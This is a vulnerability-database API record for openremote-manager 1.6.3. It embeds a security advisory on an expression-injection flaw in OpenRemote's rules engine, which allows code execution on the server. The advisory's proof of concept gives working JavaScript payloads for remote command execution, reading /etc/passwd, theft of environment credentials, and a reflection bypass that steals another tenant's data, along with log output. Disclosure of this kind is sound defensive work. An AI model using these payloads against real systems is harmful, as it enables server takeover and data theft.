Lookup for vulnerable packages by Package URL.

GET /api/packages/1023158?format=api
HTTP 200 OK
Allow: GET, HEAD, OPTIONS
Content-Type: application/json
Vary: Accept

{
    "url": "http://public2.vulnerablecode.io/api/packages/1023158?format=api",
    "purl": "pkg:maven/io.openremote/openremote-manager@1.6.3",
    "type": "maven",
    "namespace": "io.openremote",
    "name": "openremote-manager",
    "version": "1.6.3",
    "qualifiers": {},
    "subpath": "",
    "is_vulnerable": true,
    "next_non_vulnerable_version": "1.22.1",
    "latest_non_vulnerable_version": "1.22.1",
    "affected_by_vulnerabilities": [
        {
            "url": "http://public2.vulnerablecode.io/api/vulnerabilities/89515?format=api",
            "vulnerability_id": "VCID-gkzh-xabs-t7g4",
            "summary": "Expression Injection in OpenRemote\n### Summary\nThe OpenRemote IoT platform's rules engine contains two interrelated critical expression injection vulnerabilities that allow an attacker to execute arbitrary code on the server, ultimately achieving full server compromise.\n\n- Unsandboxed Nashorn JavaScript Engine: JavaScript rules are executed via Nashorn's ScriptEngine.eval() with user-supplied script content and no sandboxing, class filtering, or access restrictions. Critically, any non-superuser with the write:rules role can create JavaScript rulesets.\n- Inactive Groovy Sandbox: The Groovy rules engine has a GroovyDenyAllFilter security filter that is defined but never registered (the registration code is commented out), rendering the SandboxTransformer ineffective. While Groovy rules are restricted to superusers, the absence of sandboxing violates the principle of defense in depth.\n\n### Details\n\n#### Attacker-Controllable Source-to-Sink Paths\n\nThere are two non-superuser and two superuser exploitable attack paths from the REST API entry point to final code execution. (JavaScript × Realm/Asset + Groovy × Realm/Asset) The most critical path is detailed below.\n\nPath 1: Unsandboxed JavaScript Expression Injection via Realm Ruleset (Non-Superuser Exploitable)\n\n**`RulesetDeployment.java` L368:**\n\n```java\nObject result = scriptEngine.eval(script, engineScope);\n```\n\nThe Nashorn JavaScript engine is initialized **without** a `ClassFilter`, allowing `Java.type()` to access any JVM class — including `java.lang.Runtime` (for RCE), `java.io.FileReader` (for file read), and `java.lang.System` (for env theft).\n\n\n**`RulesResourceImpl.java` L309 (and L331, L359, L412, L437):**\n\n```java\n// VULNERABLE: only restricts Groovy, JavaScript completely unrestricted\nif (ruleset.getLang() == Ruleset.Lang.GROOVY && !isSuperUser()) {\n    throw new WebApplicationException(Response.Status.FORBIDDEN);\n}\n```\n\nNon-superuser attackers with only the `write:rules` role can submit arbitrary JavaScript rules that execute with full JVM access.\n\n\n```\n┌─────────────────────────────────────────────────────────────────────────────────────────┐\n│                          SOURCE → SINK Complete Data Flow                                │\n├─────────────────────────────────────────────────────────────────────────────────────────┤\n│                                                                                         │\n│  ① HTTP REQUEST (Source / Entry Point)                                                   │\n│  POST /api/{realm}/rules/realm                                                          │\n│  Content-Type: application/json                                                         │\n│  Body: { \"type\":\"realm\", \"lang\":\"JAVASCRIPT\",                                           │\n│          \"rules\":\"<MALICIOUS_SCRIPT>\", ... }     ← Attacker-controlled malicious script  │\n│                                                                                         │\n│                              ↓ JAX-RS Deserialization                                    │\n│                                                                                         │\n│  ② RulesResource.createRealmRuleset()                                                   │\n│     model/.../rules/RulesResource.java:153-158                                          │\n│     @POST @Path(\"realm\") @RolesAllowed(\"write:rules\")                                   │\n│     Interface: long createRealmRuleset(RequestParams, @Valid RealmRuleset ruleset)       │\n│     JSON body → RealmRuleset object (Jackson deserialization)                            │\n│     RealmRuleset.rules field ← attacker's malicious script content                      │\n│     RealmRuleset.lang  field ← \"JAVASCRIPT\"                                             │\n│                                                                                         │\n│                              ↓ Calls implementation                                      │\n│                                                                                         │\n│  ③ RulesResourceImpl.createRealmRuleset()  ← ⚠️ Authorization flaw here                 │\n│     manager/.../rules/RulesResourceImpl.java:250-267                                    │\n│     - L255: isRealmActiveAndAccessible(realm) — checks realm accessible ✓                │\n│     - L255: isRestrictedUser() — restricted users blocked ✓                              │\n│     - L262: if (ruleset.getLang() == Ruleset.Lang.GROOVY && !isSuperUser())              │\n│       → Only blocks GROOVY for non-superusers ✓                                          │\n│     - ⚠️ NO check for Lang.JAVASCRIPT! JavaScript rules pass through unrestricted ⚠️    │\n│     - L265: ruleset = rulesetStorageService.merge(ruleset)                              │\n│       → Passes the RealmRuleset (with malicious script) to persistence layer            │\n│                                                                                         │\n│                              ↓ JPA Persistence                                           │\n│                                                                                         │\n│  ④ RulesetStorageService.merge()                                                        │\n│     manager/.../rules/RulesetStorageService.java:155-159                                │\n│     - L157: entityManager.merge(ruleset)                                                │\n│       → Persists RealmRuleset entity (with rules and lang fields) to REALM_RULESET table│\n│     - After JPA transaction commit, Hibernate event listener is triggered               │\n│                                                                                         │\n│                              ↓ Hibernate Event → Camel Message                           │\n│                                                                                         │\n│  ⑤ Hibernate Interceptor → PersistenceService Event Publishing                          │\n│     container/.../persistence/PersistenceEventInterceptor.java:51-62, 102-119           │\n│     - L55-56: new PersistenceEvent<>(CREATE, entity, propertyNames, state)              │\n│       → Hibernate Interceptor captures the JPA entity persist event                     │\n│     - L102-119: afterTransactionBegin() registers Synchronization callback;             │\n│       afterCompletion() calls eventConsumer.accept(persistenceEvent) (L114)             │\n│     container/.../persistence/PersistenceService.java:596-607                           │\n│     - PersistenceService implements Consumer<PersistenceEvent<?>> (L84)                 │\n│     - L596-606: accept() publishes event to Camel SEDA topic:                           │\n│       producerTemplate.withBody(persistenceEvent)                                       │\n│       .withHeader(HEADER_ENTITY_TYPE, entity.getClass())                                │\n│       .to(PERSISTENCE_TOPIC).asyncSend()                                                │\n│     - PERSISTENCE_TOPIC = \"seda://PersistenceTopic?multipleConsumers=true&...\"           │\n│       (PersistenceService.java:209-210)                                                 │\n│                                                                                         │\n│                              ↓ Camel Route Consumption                                   │\n│                                                                                         │\n│  ⑥ RulesService.configure() — Camel Route Processor                                     │\n│     manager/.../rules/RulesService.java:228-235                                         │\n│     - L228: from(PERSISTENCE_TOPIC)                                                     │\n│     - L230: .filter(isPersistenceEventForEntityType(Ruleset.class))                     │\n│       → Filters for Ruleset-type events only                                             │\n│     - L232-234: .process(exchange -> {                                                  │\n│         PersistenceEvent<?> pe = exchange.getIn().getBody(PersistenceEvent.class);       │\n│         processRulesetChange((Ruleset) pe.getEntity(), pe.getCause());                  │\n│       })                                                                                │\n│       → Extracts RealmRuleset entity from event and dispatches to change handler        │\n│                                                                                         │\n│                              ↓                                                           │\n│                                                                                         │\n│  ⑦ RulesService.processRulesetChange()                                                  │\n│     manager/.../rules/RulesService.java:503-531                                         │\n│     - L504: cause == CREATE (not DELETE), ruleset.isEnabled() == true                   │\n│       → Enters the deployment branch (else block)                                       │\n│     - L518: ruleset instanceof RealmRuleset → takes realm branch                        │\n│     - L520: RulesEngine<RealmRuleset> engine =                                          │\n│             deployRealmRuleset((RealmRuleset) ruleset)                                   │\n│     - L521: engine.start()                                                              │\n│                                                                                         │\n│                              ↓                                                           │\n│                                                                                         │\n│  ⑧ RulesService.deployRealmRuleset()                                                    │\n│     manager/.../rules/RulesService.java:589-625                                         │\n│     - L591: Gets existing engine from realmEngines Map or creates new one               │\n│     - L594-613: If new engine: new RulesEngine<>(...), stores in realmEngines           │\n│     - (via addRuleset): engine.addRuleset(ruleset)                                      │\n│       → Passes RealmRuleset to engine for deployment                                    │\n│                                                                                         │\n│                              ↓                                                           │\n│                                                                                         │\n│  ⑨ RulesEngine.addRuleset()                                                             │\n│     manager/.../rules/RulesEngine.java:252-273                                          │\n│     - L264: deployment = new RulesetDeployment(ruleset, this, timerService,             │\n│             assetStorageService, executorService, scheduledExecutorService,              │\n│             assetsFacade, usersFacade, notificationFacade, webhooksFacade,               │\n│             alarmsFacade, historicFacade, predictedFacade)                               │\n│       → Creates deployment object wrapping the Ruleset (with malicious script)          │\n│     - L265: deployment.init()                                                           │\n│       → Triggers compilation and initialization                                         │\n│                                                                                         │\n│                              ↓                                                           │\n│                                                                                         │\n│  ⑩ RulesetDeployment.init()                                                             │\n│     manager/.../rules/RulesetDeployment.java:132-158                                    │\n│     - L143: TextUtil.isNullOrEmpty(ruleset.getRules()) → false, script is non-empty     │\n│     - L149: ruleset.isEnabled() → true                                                  │\n│     - L154: if (!compile()) → calls compile()                                           │\n│                                                                                         │\n│                              ↓                                                           │\n│                                                                                         │\n│  ⑪ RulesetDeployment.compile()                                                          │\n│     manager/.../rules/RulesetDeployment.java:211-228                                    │\n│     - L217: switch (ruleset.getLang()) {                                                │\n│     - L218:   case JAVASCRIPT:  ← lang field is JAVASCRIPT                              │\n│     - L219:     return compileRulesJavascript(ruleset, assetsFacade,                    │\n│                   usersFacade, notificationsFacade, historicDatapointsFacade,            │\n│                   predictedDatapointsFacade);                                           │\n│                                                                                         │\n│                              ↓                                                           │\n│                                                                                         │\n│  ⑫ RulesetDeployment.compileRulesJavascript()  ← SINK (Code Execution Point)        │\n│     manager/.../rules/RulesetDeployment.java:306-378                                    │\n│                                                                                         │\n│     - L307: // TODO https://github.com/pfisterer/scripting-sandbox/...                  │\n│       ↑ Sandbox was NEVER implemented (only a TODO comment)                             │\n│                                                                                         │\n│     - L308: ScriptEngine scriptEngine =                                                 │\n│             scriptEngineManager.getEngineByName(\"nashorn\");                              │\n│       ↑ Uses Nashorn 15.7 (gradle.properties:59)                                        │\n│       ↑ Obtained via ScriptEngineManager — NO ClassFilter applied                       │\n│       ↑ Attacker can access ANY Java class via Java.type()                              │\n│                                                                                         │\n│     - L309-311: Creates ScriptContext and Bindings                                      │\n│     - L312-317: Binds internal service objects to engineScope:                          │\n│         \"LOG\" → Logger, \"assets\" → Assets facade,                                       │\n│         \"users\" → Users facade, \"notifications\" → Notifications facade                  │\n│                                                                                         │\n│     - L319: String script = ruleset.getRules();                                         │\n│       ↑↑↑ DIRECTLY reads the attacker's malicious script content ↑↑↑                    │\n│       ↑↑↑ This is the exact same value from the HTTP Body \"rules\" field ↑↑↑             │\n│       ↑↑↑ passed through step ① with NO sanitization whatsoever ↑↑↑                     │\n│                                                                                         │\n│     - L322-365: Auto-prepends Java interop prefix:                                      │\n│         load(\"nashorn:mozilla_compat.js\")  → provides importPackage()                   │\n│         importPackage(\"java.util.stream\", ...)  → auto-imports Java packages            │\n│         var Match = Java.type(\"...AssetQuery$Match\")  → pre-registers Java.type()       │\n│         ... (12 active Java.type references; 1 commented out)                           │\n│       ↑ These prefixes further lower the attack barrier                                 │\n│                                                                                         │\n│     - L365: + script;                                                                   │\n│       ↑ Attacker script appended directly (string concatenation, no checks)             │\n│                                                                                         │\n│     - L368: scriptEngine.eval(script, engineScope);                                     │\n│       ↑↑↑ !!! FINAL SINK — The script string containing attacker's                  │\n│       ↑↑↑ malicious code is DIRECTLY EXECUTED by Nashorn ScriptEngine                   │\n│       ↑↑↑ Attacker uses Java.type('java.lang.Runtime') etc. to invoke                  │\n│       ↑↑↑ arbitrary Java class methods, achieving Remote Code Execution (RCE)           │\n│                                                                                         │\n└─────────────────────────────────────────────────────────────────────────────────────────┘\n```\n\nPath 2: JavaScript Expression Injection via Asset Ruleset (Non-Superuser Exploitable) \n\nSame data flow as Path 1. Differences only in the first three steps:\n\n| Step | Difference |\n|------|-----------|\n| ① Source | `POST /api/{realm}/rules/asset`, body includes `\"assetId\":\"xxx\"` |\n| ② Entry | `RulesResource.createAssetRuleset()` — `RulesResource.java:200-206` |\n| ③ Auth Flaw | `RulesResourceImpl.createAssetRuleset()` — `RulesResourceImpl.java:341-365`: L350 checks realm accessible, L353 checks restricted user's asset link, L359 only blocks `GROOVY`, **`JAVASCRIPT` unrestricted**. L363 `rulesetStorageService.merge(ruleset)` |\n\n\n#### Sink Code Analysis\n\nSink 1: `compileRulesJavascript()` — Lines 306-378\n\n```java\n// RulesetDeployment.java L306-378\nprotected boolean compileRulesJavascript(Ruleset ruleset, ...) {\n    // L307: TODO indicates sandbox was NEVER implemented\n    // L308: Gets Nashorn engine via ScriptEngineManager — NO ClassFilter\n    ScriptEngine scriptEngine = scriptEngineManager.getEngineByName(\"nashorn\");\n    \n    // L312-317: Binds internal service objects\n    engineScope.put(\"LOG\", LOG);\n    engineScope.put(\"assets\", assetsFacade);\n\n    // L319: DIRECTLY reads attacker's script content\n    String script = ruleset.getRules();\n\n    // L322-365: Prepends Java interop imports (lowers attack barrier)\n    script = \"load(\\\"nashorn:mozilla_compat.js\\\");\\n\" + ... + script;\n\n    // L368: SINK — Executes the malicious script!\n    scriptEngine.eval(script, engineScope);\n}\n```\n\nWhy missing ClassFilter is fatal: The Nashorn engine provides a ClassFilter interface to restrict which Java classes scripts can access. The current code uses scriptEngineManager.getEngineByName(\"nashorn\") (L308) which applies no ClassFilter, so the attacker can access any Java class via Java.type().\n\nSink 2: `compileRulesGroovy()` — Lines 449-485\n\n```java\n// RulesetDeployment.java L449-485\nprotected boolean compileRulesGroovy(Ruleset ruleset, ...) {\n    // L451-452: Sandbox code COMMENTED OUT\n    // TODO Implement sandbox\n    // new DenyAll().register();   ← COMMENTED OUT!\n\n    // L453: Parses attacker's Groovy script\n    Script script = groovyShell.parse(ruleset.getRules());\n    \n    // L473: SINK — Directly executes Groovy script\n    script.run();\n}\n```\n\nWhy SandboxTransformer is ineffective: The GroovyShell uses SandboxTransformer (L79-81) for AST transformation, but this transformer relies on registered GroovyInterceptor instances at runtime. Since new DenyAll().register() is commented out (L452), no interceptor is registered, making SandboxTransformer a no-op. \n\n\n### Path 3: Groovy Expression Injection via Realm Ruleset (Superuser Only)\n\n```\n┌─────────────────────────────────────────────────────────────────────────────────────────┐\n│                          SOURCE → SINK Complete Data Flow (Groovy)                       │\n├─────────────────────────────────────────────────────────────────────────────────────────┤\n│                                                                                         │\n│  ① HTTP POST /api/{realm}/rules/realm                                                   │\n│     Body: { \"type\":\"realm\", \"lang\":\"GROOVY\",                                            │\n│             \"rules\":\"<MALICIOUS_GROOVY>\", ... }                                         │\n│     Requires superuser privileges                                                       │\n│                                                                                         │\n│  ② RulesResource.createRealmRuleset()  — RulesResource.java:153-158                    │\n│                                                                                         │\n│  ③ RulesResourceImpl.createRealmRuleset() — RulesResourceImpl.java:250-267             │\n│     - L262: if (lang == GROOVY && !isSuperUser()) → superuser passes ✓                  │\n│     - L265: rulesetStorageService.merge(ruleset)                                        │\n│                                                                                         │\n│  ④-⑩ Same as Path 1 steps ④-⑩                                                          │\n│                                                                                         │\n│  ⑪ RulesetDeployment.compile()  — RulesetDeployment.java:211-228                       │\n│     - L220: case GROOVY → compileRulesGroovy(ruleset, ...)                              │\n│                                                                                         │\n│  ⑫ RulesetDeployment.compileRulesGroovy()  ← SINK                                   │\n│     manager/.../rules/RulesetDeployment.java:449-485                                    │\n│     - L451: // TODO Implement sandbox  ← Sandbox NEVER implemented                      │\n│     - L452: // new DenyAll().register()  ← Security filter COMMENTED OUT!            │\n│     - L453: Script script = groovyShell.parse(ruleset.getRules())                       │\n│       ↑ groovyShell uses SandboxTransformer (L79-81)                                    │\n│       ↑ But no GroovyInterceptor registered → SandboxTransformer is ineffective         │\n│       ↑ ruleset.getRules() directly reads attacker's malicious Groovy script            │\n│     - L454-462: Creates Binding, binds internal service objects                         │\n│     - L472: script.setBinding(binding)                                                  │\n│     - L473: script.run()                                                                │\n│       ↑↑↑ FINAL SINK — Groovy script executed directly, no sandbox ↑↑↑              │\n│                                                                                         │\n└─────────────────────────────────────────────────────────────────────────────────────────┘\n```\n\n### Path 4: Groovy Expression Injection via Asset Ruleset (Superuser Only)\n\nSame as Path 3; first three steps differ as in Path 2.\n\n\n### PoC\n\n#### Test Environment\n\n| Component | Details |\n|-----------|---------|\n| Host OS | macOS Darwin 25.1.0 |\n| Docker | Docker Compose with official OpenRemote images |\n| OpenRemote | `openremote/manager:latest` (v1.20.2) |\n| Keycloak | `openremote/keycloak:latest` |\n| PostgreSQL | `openremote/postgresql:latest-slim` |\n| Target URL | `https://localhost` |\n\n#### Multi-Tenant Test Topology\n\n```\n┌─────────────────────────────────────────────────────────┐\n│                  OpenRemote Platform                    │\n│                                                         │\n│  ┌─────────────────┐       ┌─────────────────┐         │\n│  │   Realm A        │       │   Realm B        │         │\n│  │   (Attacker)     │       │   (Victim)       │         │\n│  │                  │       │                  │         │\n│  │  User: attacker  │  ──X──│  SecretSensorB   │         │\n│  │  Roles:          │ API   │    secretData    │         │\n│  │   write:rules    │blocked│    apiKey        │         │\n│  │   read:assets    │       │    password      │         │\n│  │  NOT superuser   │       │                  │         │\n│  └─────────────────┘       └─────────────────┘         │\n│                                                         │\n│  API isolation: Realm A user CANNOT access Realm B      │\n│  via normal REST API (HTTP 401)                         │\n│                                                         │\n│  Exploit: Realm A user creates JavaScript rule that     │\n│  executes arbitrary code on the SERVER, bypassing all   │\n│  tenant isolation                                       │\n└─────────────────────────────────────────────────────────┘\n```\n\n#### Deployment\n\nOpenRemote was started using the project's official `docker-compose.yml`:\n\n```\ncd /path/to/openremote-openremote\ndocker compose up -d\n```\n\nContainers running:\n\n<img width=\"1430\" height=\"136\" alt=\"截屏2026-03-27 14 50 10\" src=\"https://github.com/user-attachments/assets/8291181b-56a3-4fc6-a7d3-77ab276b6d6c\" />\n\n#### Reproduction Steps & Evidence\n\n##### Step 0: Obtain Admin Tokens\n\n```\nKC admin-cli token: eyJhbGciOiJSUzI1NiIsInR5cCIgOiAiSldUIiwia2lkIiA6IC...\n[OK] Direct access grants for 'master': HTTP 204\nOR admin token:     eyJhbGciOiJSUzI1NiIsInR5cCIgOiAiSldUIiwia2lkIiA6IC...\nAPI health check: HTTP 200, version=1.20.2\n```\n\n##### Step 1: Setup Multi-Tenant Environment\n\nCreated Realm B (victim) with sensitive assets, and Realm A (attacker) with a non-superuser.\n\n```\nCreate realm 'realmb': HTTP 409     (already exists from prior run — OK)\n[OK] Direct access grants for 'realmb': HTTP 204\nCreate victim asset in realmb: HTTP 200, ID=4cddi4ncR9w7RHRbVzVZfq\nPlanted sensitive data in Realm B:\n  secretData       = 'REALM_B_CONFIDENTIAL_DATA_67890'\n  apiKey           = 'sk-realmB-api-key-very-secret'\n  internalPassword = 'P@ssw0rd_Internal_2024'\n\nCreate realm 'realma': HTTP 409\n[OK] Direct access grants for 'realma': HTTP 204\n[OK] User 'attacker' in 'realma', ID: 0d137364-b538-45d2-b3b3-33f57d97b9f5\n[OK] Roles assigned: ['read:rules', 'write:assets', 'read:assets', 'write:rules']\n```\n\nKey point: The attacker user has write:rules role but is NOT a superuser.\n\n##### Step 2: Verify Tenant Isolation Works via Normal API\n```\nAttacker token: eyJhbGciOiJSUzI1NiIsInR5cCIgOiAiSldUIiwia2lkIiA6IC...\n\n[TEST] Normal API: GET /api/realmb/asset (attacker token)\nResult: HTTP 401\n>> Cross-realm API access BLOCKED (expected) — tenant isolation works via API\n```\n\nConclusion: The REST API correctly blocks Realm A users from accessing Realm B assets. The vulnerability is NOT in the API layer but in the rules engine execution.\n\n##### Step 3: Launch the attack.\n\n- ATTACK 1 — Remote Code Execution (RCE)\n\nPayload sent (via POST /api/realma/rules/realm with attacker token):\n\n```\nvar Runtime = Java.type(\"java.lang.Runtime\");\nvar Scanner = Java.type(\"java.util.Scanner\");\nvar cmd = Java.to([\"sh\", \"-c\", \"id && hostname && uname -a\"], \"java.lang.String[]\");\nvar proc = Runtime.getRuntime().exec(cmd);\nproc.waitFor();\nvar s = new Scanner(proc.getInputStream()).useDelimiter(\"\\\\A\");\nvar output = s.hasNext() ? s.next() : \"(empty)\";\nLOG.info(\"[EXPLOIT-RCE] Command output: \" + output);\nvar rules = [];\n```\n\nAPI response: HTTP 200 (rule accepted and deployed)\n\nServer log evidence (captured from docker compose logs manager):\n\n```\n2026-03-27T07:17:24.833Z [EXPLOIT-RCE] === REMOTE CODE EXECUTION ===\n2026-03-27T07:17:24.838Z [EXPLOIT-RCE] --- RCE OUTPUT ---\n2026-03-27T07:17:24.838Z [EXPLOIT-RCE] uid=0(root) gid=0(root) groups=0(root)\n```\n\nImpact: The attacker's JavaScript rule executed id on the server and confirmed the process runs as root (uid=0). The attacker can execute any OS command with root privileges.\n\n- ATTACK 2 — Arbitrary File Read (/etc/passwd)\nPayload:\n\n```\nvar Files = Java.type(\"java.nio.file.Files\");\nvar Paths = Java.type(\"java.nio.file.Paths\");\nvar lines = Files.readAllLines(Paths.get(\"/etc/passwd\"));\nLOG.info(\"[EXPLOIT-FILE] /etc/passwd has \" + lines.size() + \" lines:\");\nfor (var i = 0; i < lines.size(); i++) {\n  LOG.info(\"[EXPLOIT-FILE]   \" + lines.get(i));\n}\nvar rules = [];\n```\nAPI response: HTTP 200\nServer log evidence:\n\n- ATTACK 3 — Environment Variable Theft (Database Credentials)\n\n**Payload:**\n```javascript\nvar System = Java.type(\"java.lang.System\");\nvar env = System.getenv();\nLOG.info(\"[EXPLOIT-ENV] === ENVIRONMENT VARIABLE THEFT ===\");\nvar keys = [\"OR_DB_HOST\",\"OR_DB_PORT\",\"OR_DB_NAME\",\"OR_DB_USER\",\"OR_DB_PASSWORD\",\n            \"KEYCLOAK_ADMIN_PASSWORD\",\"OR_ADMIN_PASSWORD\",\"OR_HOSTNAME\",\"JAVA_HOME\"];\nfor (var i = 0; i < keys.length; i++) {\n  var v = env.get(keys[i]);\n  if (v != null) LOG.info(\"[EXPLOIT-ENV] \" + keys[i] + \" = \" + v);\n}\nvar rules = [];\n```\n\n**API response**: `HTTP 200`\n\n**Server log evidence** (key variables extracted):\n```\n2026-03-27T07:17:45.069Z [EXPLOIT-ENV] OR_DB_HOST = postgresql\n2026-03-27T07:17:45.069Z [EXPLOIT-ENV] OR_DB_PORT = 5432\n2026-03-27T07:17:45.069Z [EXPLOIT-ENV] OR_DB_NAME = openremote\n2026-03-27T07:17:45.070Z [EXPLOIT-ENV] OR_DB_USER = postgres\n2026-03-27T07:17:45.070Z [EXPLOIT-ENV] OR_HOSTNAME = localhost\n2026-03-27T07:17:45.070Z [EXPLOIT-ENV] JAVA_HOME = /usr/lib/jvm/jre\n2026-03-27T07:17:45.087Z [EXPLOIT-ENV] OR_KEYCLOAK_HOST = keycloak\n2026-03-27T07:17:45.087Z [EXPLOIT-ENV] OR_KEYCLOAK_PORT = 8080\n2026-03-27T07:17:45.087Z [EXPLOIT-ENV] OR_STORAGE_DIR = /storage\n2026-03-27T07:17:45.087Z [EXPLOIT-ENV] OR_WEBSERVER_LISTEN_HOST = 0.0.0.0\n2026-03-27T07:17:45.088Z [EXPLOIT-ENV] OR_DB_POOL_MAX_SIZE = 20\n2026-03-27T07:17:45.088Z [EXPLOIT-ENV] OR_DEV_MODE = false\n2026-03-27T07:17:45.086Z [EXPLOIT-ENV] OR_FIREBASE_CONFIG_FILE = /deployment/manager/fcm.json\n2026-03-27T07:17:45.086Z [EXPLOIT-ENV] OR_EMAIL_PORT = 587\n```\n\n**Impact**: Database connection details, internal hostnames, Keycloak configuration, and more are fully exposed. An attacker could use these to directly connect to the PostgreSQL database or attack other internal services.\n\n---\n\n- ATTACK 4 — Cross-Realm Data Theft (Bypass Multi-Tenant Isolation)\n\nThis is the most critical attack: a user in Realm A steals all data from Realm B by bypassing the `AssetsFacade` realm enforcement via Java reflection.\n\n**Attack mechanism:**\n1. The `assets` object bound into JavaScript is an `AssetsFacade` instance\n2. `AssetsFacade.getResults()` enforces realm isolation by overwriting `assetQuery.realm`\n3. The attacker uses Java reflection to extract the internal `assetStorageService` field\n4. Calls `assetStorageService.findAll()` directly, bypassing realm restriction AND `excludeAttributes()`\n\n**Payload:**\n```javascript\n// Extract internal AssetStorageService via reflection\nvar facadeObj = assets;\nvar clazz = facadeObj.getClass();\nvar storageField = clazz.getDeclaredField(\"assetStorageService\");\nstorageField.setAccessible(true);\nvar storageService = storageField.get(facadeObj);\n\n// Query Realm B directly — bypassing facade realm enforcement\nvar AssetQuery = Java.type(\"org.openremote.model.query.AssetQuery\");\nvar RealmPredicate = Java.type(\"org.openremote.model.query.filter.RealmPredicate\");\nvar q = new AssetQuery();\nq.realm = new RealmPredicate(\"realmb\");\nvar stolenAssets = storageService.findAll(q);\n// Iterate and dump all attribute values...\nvar rules = [];\n```\n\n**API response**: `HTTP 200`\n\n**Server log evidence — Stolen data from Realm B:**\n```\n2026-03-27T07:17:55.151Z [EXPLOIT-XREALM] === CROSS-REALM DATA THEFT ===\n2026-03-27T07:17:55.151Z [EXPLOIT-XREALM] Attacker realm: realma\n2026-03-27T07:17:55.151Z [EXPLOIT-XREALM] Target realm:   realmb\n2026-03-27T07:17:55.162Z [EXPLOIT-XREALM] Facade class: org.openremote.manager.rules.facade.AssetsFacade\n2026-03-27T07:17:55.190Z [EXPLOIT-XREALM] Got AssetStorageService: org.openremote.manager.asset.AssetStorageService\n2026-03-27T07:17:55.199Z [EXPLOIT-XREALM] Found 2 assets in realm 'realmb'\n2026-03-27T07:17:55.207Z [EXPLOIT-XREALM] STOLEN Asset: name=SecretSensorB, id=3eZKswGIALiGAqeEPdnH3t, type=ThingAsset\n2026-03-27T07:17:55.228Z [EXPLOIT-XREALM]   STOLEN ATTR: notes = Internal sensor - classified\n2026-03-27T07:17:55.229Z [EXPLOIT-XREALM]   STOLEN ATTR: apiKey = sk-realmB-api-key-very-secret\n2026-03-27T07:17:55.230Z [EXPLOIT-XREALM]   STOLEN ATTR: location = GeoJSONPoint{coordinates=5.46, 51.44, NaN}\n2026-03-27T07:17:55.230Z [EXPLOIT-XREALM]   STOLEN ATTR: internalPassword = P@ssw0rd_Internal_2024\n2026-03-27T07:17:55.230Z [EXPLOIT-XREALM]   STOLEN ATTR: secretData = REALM_B_CONFIDENTIAL_DATA_67890\n```\n\n**Cross-realm enumeration — all assets across all realms:**\n```\n2026-03-27T07:17:55.236Z [EXPLOIT-XREALM] Total assets across ALL realms: 5\n2026-03-27T07:17:55.236Z [EXPLOIT-XREALM] ALL-REALM Asset: realm=master, name=TestAsset, id=5pVko8DN...\n2026-03-27T07:17:55.236Z [EXPLOIT-XREALM] ALL-REALM Asset: realm=master, name=TestAsset, id=4zfyoaiL...\n2026-03-27T07:17:55.236Z [EXPLOIT-XREALM] ALL-REALM Asset: realm=master, name=TestMasterAsset, id=3vqFI9kI...\n2026-03-27T07:17:55.237Z [EXPLOIT-XREALM] ALL-REALM Asset: realm=realmb, name=SecretSensorB, id=3eZKswGI...\n2026-03-27T07:17:55.237Z [EXPLOIT-XREALM] ALL-REALM Asset: realm=realmb, name=SecretSensorB, id=4cddi4nc...\n```\n\n**Impact**: Complete multi-tenant isolation bypass. Realm A's non-superuser successfully:\n- Extracted all sensitive attribute values from Realm B (API keys, passwords, confidential data)\n- Enumerated all assets across ALL realms including the `master` realm\n- Bypassed both the realm restriction AND the `excludeAttributes()` protection in `AssetsFacade`\n\n---\n\n- Authorization Bypass Verification\n\nThe same attacker user attempted to create a Groovy rule (which is correctly restricted to superusers):\n\n```\nCreate Groovy rule (same attacker): HTTP 403\n>> Groovy rule REJECTED (HTTP 403) — as expected for non-superuser\n>> BUT all JavaScript rules were ACCEPTED (HTTP 200) — THIS IS THE VULNERABILITY!\n```\n\n**Root cause in source code** (`RulesResourceImpl.java:262`):\n```java\n// Only blocks Groovy for non-superusers — JavaScript is UNRESTRICTED\nif (ruleset.getLang() == Ruleset.Lang.GROOVY && !isSuperUser()) {\n    throw new ForbiddenException(\"Forbidden\");\n}\n// No check for Lang.JAVASCRIPT!\n```\n\n### Impact\n\nRemote code execution.",
            "references": [
                {
                    "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2026-39842",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "0.00081",
                            "scoring_system": "epss",
                            "scoring_elements": "0.2388",
                            "published_at": "2026-06-06T12:55:00Z"
                        },
                        {
                            "value": "0.00081",
                            "scoring_system": "epss",
                            "scoring_elements": "0.23781",
                            "published_at": "2026-06-09T12:55:00Z"
                        },
                        {
                            "value": "0.00081",
                            "scoring_system": "epss",
                            "scoring_elements": "0.23776",
                            "published_at": "2026-06-08T12:55:00Z"
                        },
                        {
                            "value": "0.00081",
                            "scoring_system": "epss",
                            "scoring_elements": "0.2383",
                            "published_at": "2026-06-07T12:55:00Z"
                        },
                        {
                            "value": "0.00081",
                            "scoring_system": "epss",
                            "scoring_elements": "0.23895",
                            "published_at": "2026-06-05T12:55:00Z"
                        }
                    ],
                    "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-39842"
                },
                {
                    "reference_url": "https://github.com/openremote/openremote",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "9.9",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H"
                        },
                        {
                            "value": "CRITICAL",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/openremote/openremote"
                },
                {
                    "reference_url": "https://github.com/openremote/openremote/releases/tag/1.22.0",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "10",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H"
                        },
                        {
                            "value": "9.9",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H"
                        },
                        {
                            "value": "CRITICAL",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        },
                        {
                            "value": "Track*",
                            "scoring_system": "ssvc",
                            "scoring_elements": "SSVCv2/E:P/A:N/T:T/P:M/B:A/M:M/D:R/2026-04-16T13:58:20Z/"
                        }
                    ],
                    "url": "https://github.com/openremote/openremote/releases/tag/1.22.0"
                },
                {
                    "reference_url": "https://github.com/openremote/openremote/security/advisories/GHSA-7mqr-33rv-p3mp",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "10",
